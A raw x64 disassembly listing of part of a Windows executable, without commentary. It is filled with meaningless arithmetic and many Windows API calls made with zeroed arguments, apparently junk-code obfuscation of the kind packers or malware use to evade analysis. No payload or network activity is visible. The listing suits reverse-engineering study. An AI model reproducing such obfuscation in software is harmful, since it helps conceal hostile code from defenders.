jmp 0x14000513f
movabs rax, 0x2b281092507ac682
mov rcx, qword [rsp + 0x3368]
and rcx, rax
mov rax, rcx
cmp rax, qword [0x1400dd008]
jge 0x14000513f
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov word [rsp + 0x734], ax
mov edx, 0x67
mov rcx, qword [rsp + 0x32b8]
call qword [sym.imp.USER32.dll_GetAncestor]
mov qword [rsp + 0x32b8], rax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3280]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
jmp 0x1400bb3c3
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xbd], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
mov rax, qword [0x1400dd008]
mov qword [rsp + 0x3378], rax
cmp qword [rsp + 0x3378], 0
je 0x1400051c5
jmp 0x1400bb2d1
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
nop
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1acc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1a48]
mov rcx, qword [rsp + 0x32f0]
mov qword [rsp + 0x3380], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3380]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x73c], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
xor eax, ecx
mov byte [rsp + 0xc6], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov byte [rsp + 0xc7], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, word [rsp + 0x730]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x748], ax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1938]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b14], eax
movabs rax, 0x6e18d36486775140
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
movabs rax, 0x93f67e77e56115d2
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3288], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [0x1400dded0]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x738]
add eax, ecx
mov word [rsp + 0x744], ax
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc7], al
movsx eax, byte [section..data]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0xbd], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [0x1400dd004]
shl eax, cl
mov word [rsp + 0x744], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0x1a3c]
mov ecx, dword [rsp + 0x1a70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [0x1400dd008]
sar rax, 0x2e
mov qword [rsp + 0x3368], rax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1aa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b14], eax
movsx eax, word [rsp + 0x740]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0xbd], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movsx eax, byte [section..data]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xca], al
mov eax, dword [rsp + 0x1adc]
add eax, 0x38
mov dword [rsp + 0x1adc], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
movabs rax, 0x24a8b8aaec843d65
mov rcx, qword [0x1400dd008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0x1938]
mov ecx, dword [rsp + 0x1ad4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
cmp dword [rsp + 0x1adc], 0x9b65
jne 0x1400051d3
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b2c], al
cmp byte [rsp + 0x1b2c], 0
je 0x140005643
jmp 0x1400bb27d
movzx eax, word [rsp + 0x738]
mov dword [rsp + 0x1b30], eax
cmp dword [rsp + 0x1b30], 0xda7
je 0x140005770
cmp dword [rsp + 0x1b30], 0xea7f
je 0x140005675
jmp 0x1400057e2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
nop
movzx eax, word [0x1400dd004]
movzx ecx, word [rsp + 0x734]
cdq
idiv ecx
movzx ecx, word [rsp + 0x738]
movzx edx, word [rsp + 0x744]
xor ecx, edx
cmp eax, ecx
jle 0x14000576e
mov eax, dword [rsp + 0x1a3c]
movzx ecx, al
mov eax, dword [rsp + 0x1a70]
shl eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
lea rcx, [rsp + 0xd8a0]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov dword [rsp + 0x1b34], eax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
and eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, byte [section..data]
mov byte [rsp + 0x1b38], al
cmp byte [rsp + 0x1b38], 0x4e
je 0x14000573b
cmp byte [rsp + 0x1b38], 0x67
je 0x140005719
jmp 0x14000576e
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
jmp 0x14000576e
movzx eax, byte [section..data]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x32c0]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x734]
mov edx, dword [rsp + 0x1acc]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400bcc50
nop
jmp 0x1400057e2
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0xc7], al
mov edx, 0x8f
lea rcx, [rsp + 0x3290]
call qword [sym.imp.USER32.dll_GetPriorityClipboardFormat]
mov dword [rsp + 0x1b3c], eax
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
movabs rax, 0x223edff79ac56a8f
mov rcx, qword [0x1400dd008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov dword [rsp + 0x1b40], eax
cmp dword [rsp + 0x1b40], 0xd84e5ae6
je 0x140005802
jmp 0x140005824
mov r8d, 6
mov edx, 0x15
mov rcx, qword [rsp + 0x3388]
call qword [sym.imp.USER32.dll_SetMenuDefaultItem]
mov dword [rsp + 0x1a94], eax
jmp 0x140005879
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0x3390], rax
mov dword [rsp + 0x1b44], 0x6eb4
mov eax, dword [rsp + 0x1acc]
mov ecx, dword [rsp + 0x1938]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b14], eax
mov dword [rsp + 0x1b48], 0x7d14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
nop
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x744]
add eax, ecx
movzx ecx, word [rsp + 0x738]
movzx edx, word [0x1400dd004]
sub ecx, edx
cmp eax, ecx
jge 0x14000594c
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32f8]
mov qword [rsp + 0x3398], rax
movabs rax, 0xed3df154791daaba
cmp qword [rsp + 0x3398], rax
je 0x1400058ed
jmp 0x140005919
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xc8], al
mov rcx, qword [rsp + 0x32f8]
call fcn.1400bbe90
nop
jmp 0x140005947
lea rcx, [rsp + 0xdfd0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x1b34], eax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0xc9]
xor eax, ecx
mov byte [rsp + 0xc6], al
jmp 0x1400bb26d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov dword [rsp + 0x1b4c], eax
cmp dword [rsp + 0x1b4c], 0
je 0x140005978
jmp 0x140005a81
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
nop
movsx eax, word [rsp + 0x73c]
mov dword [rsp + 0x1b50], eax
cmp dword [rsp + 0x1b50], 0
je 0x1400059ba
cmp dword [rsp + 0x1b50], 0x2c49
je 0x140005a5d
jmp 0x140005a7f
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1acc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov edx, dword [rsp + 0x1938]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jle 0x140005a1d
mov rax, qword [rsp + 0x3320]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x1acc]
movzx r8d, word [rsp + 0x738]
mov rax, qword [rsp + 0x32c0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rax]
call fcn.1400bcc50
nop
mov dword [rsp + 0x1b54], 0xa959
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x734]
mov qword [rsp + 0x33a0], rax
lea rax, [rsp + 0xc7]
mov qword [rsp + 0x33a8], rax
mov dword [rsp + 0x1b58], 0xf79a
jmp 0x140005a7f
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
jmp 0x140005abf
movabs rax, 0x635041b8a14e6873
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov cx, 0x6e
call qword [sym.imp.USER32.dll_OemKeyScan]
mov dword [rsp + 0x1b5c], eax
mov rcx, qword [rsp + 0x3288]
call fcn.1400bbe90
nop
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1b60], al
cmp byte [rsp + 0x1b60], 0
je 0x140005aeb
cmp byte [rsp + 0x1b60], 0xbc
je 0x1400bb1ff
jmp 0x1400bb20d
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
and eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [0x1400dd004]
shl eax, cl
mov word [rsp + 0x734], ax
mov eax, dword [rsp + 0x1b48]
sub eax, 0x2e
mov dword [rsp + 0x1b48], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
sar eax, cl
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1acc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3390]
mov ecx, dword [rsp + 0x1b5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a70], eax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xbd]
and eax, ecx
mov byte [section..data], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x748], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x744]
add eax, ecx
mov word [rsp + 0x734], ax
movabs rax, 0x28b2b6106840ea64
mov rcx, qword [0x1400dd008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, word [rsp + 0x734]
movzx ecx, word [0x1400dd004]
shl eax, cl
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
or eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
add eax, ecx
mov word [rsp + 0x740], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
nop
cmp dword [rsp + 0x1b48], 0x75e4
jae 0x140005aeb
cmp dword [rsp + 0x1ae4], 0xce8
jb 0x140006112
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
and eax, ecx
mov word [rsp + 0x734], ax
movabs rax, 0x59ae692ab29f8194
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1938], eax
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movsx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0xca], al
movsx eax, word [0x1400dded0]
movsx ecx, word [rsp + 0x730]
and eax, ecx
mov word [rsp + 0x73c], ax
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x748]
sar eax, cl
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1acc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1938], eax
mov rax, qword [rsp + 0x32f8]
shl rax, 0x25
mov qword [rsp + 0x3288], rax
movabs rax, 0x1bf036ce99c3c0e3
mov rcx, qword [0x1400dd008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov eax, dword [rsp + 0x1ae4]
sub eax, 0x14
mov dword [rsp + 0x1ae4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov eax, dword [rsp + 0x1a70]
mov ecx, dword [rsp + 0x1b5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov word [rsp + 0x734], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0xc9]
and eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x738]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x744], ax
movsx eax, word [rsp + 0x740]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
jmp 0x140005e52
lea rax, [rsp + 0x1a48]
mov qword [rsp + 0x33b0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
nop
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1aa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1b14], eax
movabs rax, 0x1b47c0bdac798bfd
mov rcx, qword [rsp + 0x3368]
add rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov byte [rsp + 0xca], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x734]
add eax, ecx
mov word [rsp + 0x744], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
or eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
shl eax, cl
mov byte [rsp + 0xc8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x32f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x33b0]
mov qword [rsp + 0x33b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a70]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x1acc]
mov ecx, dword [rsp + 0x1938]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x748], ax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1a7c]
add eax, 0x6b
mov dword [rsp + 0x1a7c], eax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xc6]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
cmp dword [rsp + 0x1a7c], 0x3c8b
jne 0x140006130
mov rax, qword [rsp + 0x32f8]
mov qword [rsp + 0x33c0], rax
mov dword [rsp + 0x1b64], 0xaedb
cmp dword [rsp + 0x1a9c], 0xe36b
je 0x140006786
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x32f0]
mov qword [rsp + 0x33c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movabs rax, 0x17f526859e96f19b
mov rcx, qword [rsp + 0x3368]
or rcx, rax
mov rax, rcx
